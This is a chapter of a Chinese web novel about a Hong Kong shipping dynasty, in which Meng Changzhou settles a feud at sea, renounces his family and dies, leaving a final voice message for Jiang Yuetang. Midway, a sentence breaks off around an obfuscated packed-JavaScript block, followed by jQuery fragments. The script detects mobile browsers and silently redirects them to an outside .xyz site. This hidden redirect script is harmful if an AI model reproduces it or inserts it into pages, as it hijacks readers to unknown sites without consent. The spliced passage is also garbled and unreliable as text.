张季苗在金港集团的会议室里狮子大开口,威胁、勒索,句句都落入了孟长洲的耳朵里。
她以为自己稳操胜券,拿着巨额现金、扬长而去,登上那艘为她安排的豪华游艇。
却没意识到,千里之外的海上,一艘万吨货轮正逆风破浪。
孟长洲正坐在船舱里,和一群年轻的水手打牌。
海风咆哮,巨浪翻涌,哪怕是这艘庞然大物,也被海面抛上抛下。
舱顶的灯光随之摇晃,时明时暗。
孟长洲摘下黑色的监听耳机,抬起右手,两根手指勾了勾。
屋角两人立刻上前,躬身行礼:“孟先生。”
“按计划执行。”
然而,船舱外的风声骤然变了,像是脚步声夹着海浪扑了进来。
门被猛地推开。
几个满头白发的男人冲了进来,神情激动,眼里压着怒火。
有人手里还攥着没喝完的酒瓶,有人干脆拎着钢制水管,站定后怒视孟长洲。
“你认贼作父那么多年,还有脸坐在这儿?”
“要不是当年你亲手护着孟兆国,我们早就讨回公道了!”
场面骤然紧张。
一屋子的年轻水手们,全站了起来。都看着孟长洲,等待他发话。
但孟长洲却没有动。
卲泽风从沙发上起来,跨步走到赌桌边上,孟长洲身后一步的位置,站定。
他拨开清灰色的西装外套,特地伸了一下袖子,露出腰上别的真家伙。
他把手搭在胯上,笑道:“这里已经是公海了,大家和气生财嘛!”
刚进来的几个老海员,面面相觑,有点往后退的意思。
但领头的那个,却一点不怕,反而更气愤了。举起钢管,亮出来胳膊上三十多厘米长的刀疤,指着卲泽风的鼻子骂道:
“放NMDP!”
“当年说辞职有赔偿,结果呢?姓孟的拿下船厂,转头就去盖楼圈地,兄弟们连工伤都没人认!”
“他丧尽天良!我们去维权,被派地痞盯上……”
……
“我们哥儿几个,这么多年,连上岸都不敢!”
孟长洲仍未起身,只是随手把扑克牌,丢在桌上,往椅背后面靠去。
他修长的手指,在纸牌的背面点了点。缓缓开口问:“你们知道,庄绮贞是怎么去世的?”
“你拍的那个电影里……不是演了?孟兆国指使他情妇害死的啊!”
“少跟他废话,直接给他打开瓢就算完事!!”
孟长洲忽然看向那个胳膊有刀疤的男人,语气不紧不慢:
“范海琛。你原来是港工校出身的吧?当年是机械维护的高级技工。怎么,手伤成这样?”
“你……”范海琛脸色一变,警惕地握紧手里的钢管,“你咋知道老子叫啥?”
“我当然知道。”孟长洲缓缓靠后坐,目光扫过屋里所有人,嗓音沉静,却带着逼人的压迫感。
“我还知道。孟兆国能一手遮天,把整个港岛压得死死的,为什么唯独你们几个,能活到今天。”
屋里霎时静了下来。
“孟兆国早就算好了,只要我再敢来一次公海,有一天就会来杀我。”
“借刀杀人。”
范海琛和几个老水手面面相觑,心里也明镜似的,确实是在被人当枪使。
“不过我今天来公海,另有要事。不是跟各位寻仇的。”
孟长洲从西装口袋里,掏出一张黑卡来,和倒扣在桌面上的扑克牌,并排放在一起:“这里有一千万美金,你们上岸,置办点家用。”
房间之中,剑拔弩张的气氛,稍有缓和。
就见刚刚出去的两个手下,从后门侧身进来。在孟长洲的耳边小声说:“孟先生,请您出来看一下。”
孟长洲回头看了一眼,起身从后门出去。
“孟先生,海上不止我们和张季苗的船。西边来了一队舰艇,至少四只。”
“看清楚对方是什么人了吗?”
手下回答之前,咬了咬嘴唇,又咽了咽口水,才敢开口小声道:“朗山。”
孟长洲听到这两个字,顿时眸光一暗:“如果发生正面冲突,有几成胜算?”
“三成。”此话出口,手下赶紧找补:“如果拿张季苗的活口,恐怕三成。但如果……应该能更有把握一点。”
“那就按你说的办吧……”孟长洲摆摆手。
回到房间里,很显然范海琛一行人已经商量好了对策。
孟长洲既然不计前嫌,更不会像孟兆国那样继续追杀他们,千万美金,上岸过生活。足够他们十几个人,后半辈子吃喝不愁了。
孟长洲回到桌前站定,面上仍旧镇定自若。
看到对方已经松口,便下意识伸手,指尖点着面前的一张卡片,往外推去:“是金港欠你们的。”
但卲泽风一低头,却发现孟长洲指尖递出去的,竟然不是银行卡,他推出去的,是张扑克牌?
他什么意思?
孟长洲对这帮人到底是要杀还是要留?
正当卲泽风一头雾水,搞不清孟长洲到底要干什么时候。
孟长洲垂眸、轻笑。
两根手指夹着扑克牌,轻松翻在了墨绿底色的牌桌上:“黑桃Ace,共赢。”
孟长洲转身出门,卲泽风跟在他身后,临走前又看了一眼牌桌。
只见对手是一对儿9,单张Q。
而孟长洲这边,摊开的五张牌是:黑桃10、J、9、6、A。
他明明赢了……
怎么能说错呢?
卲泽风心里咯噔一下。孟长洲,可是从来滴水不漏的人,此刻到底在急什么?
-
孟、邵两人。来到主甲板两舷后段,接近尾部螺旋桨区域。
风浪灌入钢铁夹缝,轰鸣震耳。
几名手下站在一米开外,刻意拉开距离,各自背对着两人,装作在警戒,却实则识趣回避。
孟长洲手里握着望远镜,镜头垂落,他没去看远方的海面,只是低声开口:
“我妹妹……会放走张季苗,这我早就知道了。”
他的语气淡淡,却透着疲惫。
他当年就不敢让江月棠选,怕她会在诬告犯江斌和自己之间,选择江斌。
“但她通知了Caspian,让朗山的人来接人……她就没想过,张季苗一旦落到朗山手里,她、我、整个金港,会变成什么样?”
孟长洲缓缓抬起望远镜,镜头掠过海面尽头的游艇线条,却忽然停住。低低吐出一句:
“还是……她根本就不在乎,和我有没有以后。”
湿冷的空气之下,海水翻涌,却像是在沸腾。
卲泽风不言,只是听着。心里霎时间明白过来所以然……除了他妹妹,还有谁能让孟长洲把到手的赢牌,让给对手“平局”。
话音未落,只见海上不远处,突然火光冲天。
孟长洲假期望远镜看去,正是自己手下船。已经有两只,都被炸毁了。
卲泽风的对讲机开始响起各种紧急呼救。
孟长洲绝对不能让张季苗逍遥法外,如果她获得了朗山家族的保护……
如果她活着,就随时都是江月棠人生中的“定时炸弹”。
孟长洲:“把人都叫到船舱里,我有话要说。”
这艘船上,很多水手,是金港集团的最底层。很多是亨通留下来的人。
即便游走在黑白边缘的地带,他们也讲义气、忠诚、重承诺,却这么多年,都一直拿着对底层的薪水,出着最繁重的苦力。
……他们是信任孟长洲的。
因为他们相信,他和孟兆国不一样,终究会让金港集团回归正轨,会匡扶正义,让曾经亨通船业回来。
即将出海,众人看到了刚刚在海上,已经船毁人亡的第一批。
自然猜到了,此去凶多吉少。
大家从船舱里,找来几瓶好酒,排队在关公像面前上香。
然而,就在这个时候,突然有两个海员,开始高声策反:
“说到底,干掉张季苗,不就是为了让最后一部分的真相被掩藏起来?”
“拍电影,揭露真相?结果真相挖到孟总那宝贝妹妹头上,你就又要去灭火?”
……
“你不是说,以后会带我们重振亨通船业吗?”
“把张季苗干的事曝光出来,江月棠赶下台,拿着金港的钱,咱们重开亨通!”
孟长洲将手表摘下,直接扔给他:“我并非是为了钱。保住江月棠,也是为了保住金港不落入其他人手里。”
“还有你手上那个戒指!”
孟长洲看了一眼尾戒,苦笑摇头。既然她根本不想着和我的以后,那我何必这样,守着一个只有在坚持的誓言。
兄妹还是爱侣,就这样吧……
他摘掉尾戒,随手一甩,丢在脚下:“要就拿去。”
然而,临到阵前。就是再忠义的人,也有退缩的时候。
海员们犹豫、怀疑……担心自己慷慨前行,却仍旧是“为孟家人做嫁衣”。
于是,这二十几个船员,在出发前,一致要求孟长洲承诺:“从此再也不当孟家人”。
神像在上,红布招摇。
孟长洲跪地起誓。
香火点燃的瞬间……袅袅娉婷十七年。
像她俯身在自己膝上时,散
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15977662|177873||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
开的长发,像少女的腰……
像妹妹脸颊上,湿热未干的泪痕。
只不过,此刻在倒挂。三炷香的细烟向上散尽,
她的泪水,也可以倒流吗?
跪地起誓,难道还能收回吗?
孟长洲跪在血红的蒲团上,一语三誓:“此生不娶孟家女,不再入孟家门。”
语毕,他还未起身,却终于参透那年,佛寺门口的楹联:「问菩萨为何倒坐?叹众生不肯回头。」
果然,万不该反复揣摩一句佛偈。
它会在某一个刹那,当头棒喝,
变成今生的谶言。
-
卲泽风眉头紧锁,寸步不离地跟在孟长洲身后。
孟长洲几次像支开他,却都失败。
眼看着那些海员开始下方快艇到海面,孟长洲把他带到甲板:“你今天怎么回事?”
卲泽风心想……这话应该我问你才对吧?
但他还是压下了满腹狐疑,假装随口一问:“你要跟他们一起去?”
孟长洲摇头,看见船沿上,有抽剩下的半只雪茄。他眉头皱紧,一脚踢进大海:“不去。”
卲泽风看着孟长洲,眉头紧锁,只觉得他现在的状态,越看越不对劲。
海上冷风萧索,紫荆花旗已经全湿透了,贴在桅杆上,只有孤零零的白色杆子,随着巨大的海浪上下起伏。荦荦独立而颓靡。
卲泽风并不信,沉默了片刻,把腰间的配枪取下,递过去。
他故意把手伸出栏杆外,孟长洲不接,这把警枪就会坠入海中。
孟长洲愠怒,脸色一沉:“把你枪收好,回船舱去。”
卲泽风见他这样,自己的猜想便更确定了三分。
他继续试探道:“洲sir,我十五岁就跟了你。出生入死,将近二十年的交情。你都不跟我交个底吗?”
孟长洲转过身去,并不看他。视线落在正下放的三艘快艇上。
他挥了挥手:“少在这里充大哥,你警校毕业才几年?”
卲泽风的语气软了下来,还带着几分委屈:“我都快三十了……怎么在你眼里还是毛头小子呢?”
孟长洲抬起右手,拍了拍他的肩膀。犹豫片刻,又伸出来两只手,把他的衣领整了整。
倒还真有点署长的样子:“照顾好家里人,照顾好你妹妹。”
卲泽风顺势套话:“哥,我有录音笔,说点什么吗?”
“录过了。”
-
十分钟后,海上闪过一道红光。
横跨二十年的庄绮贞案,终于落下帷幕。
江月棠刚刚洗完澡,就在安澜颤颤巍巍递过来的手机里,看到了公海之上,数艘船只爆炸的消息。
她瞬间起身。
脸色苍白。
开门就要出去。
安澜赶紧跟在后面,却还是追不上她:“你去哪?”
孟长洲死了。
她和这个世界……就再也没有了任何联系。
江月棠拿起电话,给孟长洲的司机:“现在过来接我。”
然而,她刚刚走到搂外,手里的电话还没有挂断,就看见那辆黑色的宾利。
司机道:“孟先生,留了语音给您。”
她坐进去,戴着白色手套的司机,从外面把车门关上。
刚刚赶来的安澜,一脸担心地冲过来,却被司机礼貌拦了下来:“江小姐,现在可能需要独处。”
宾利的隔音实在太好,江月棠刚坐进去,耳边一片寂静。
剧烈的心跳、粗声的喘息,夹杂着她汩汩的脉搏,混着巨大的耳鸣声。
全部被孟长洲的语音打断:
“小月棠,我的妹妹。
在你十八岁那年,我曾悄悄发过一个愿。那时没告诉你,如今回头看,也觉得有些可笑,真是年少轻狂。
我以为,能把你培养成港岛最有权势、也最有良心的女企业家。
但人生南北多歧路,妹妹不会永远听哥哥的话。
很好。你一直有自己的想法,这才是我认识的你。
愿你从此以后,别再困在我们之间那些复杂的情绪里,不要做我的妹妹,不要做我的爱人。
金港不是从我手里传给你,它属于另一个名字,庄绮贞。
去做她的女儿。去做长洲岛的继承人,去做港岛的主人。
去做,香江的女儿。”
孟长洲!
孟长洲你在胡说什么!!?
江月棠涕泗横流,声音在胸腔里炸开,指尖一遍又一遍去点那条音频。
屏幕上,只剩一个灰色图标,冷冷地提示:消息已销毁,无法再次播放。
是阅后即焚。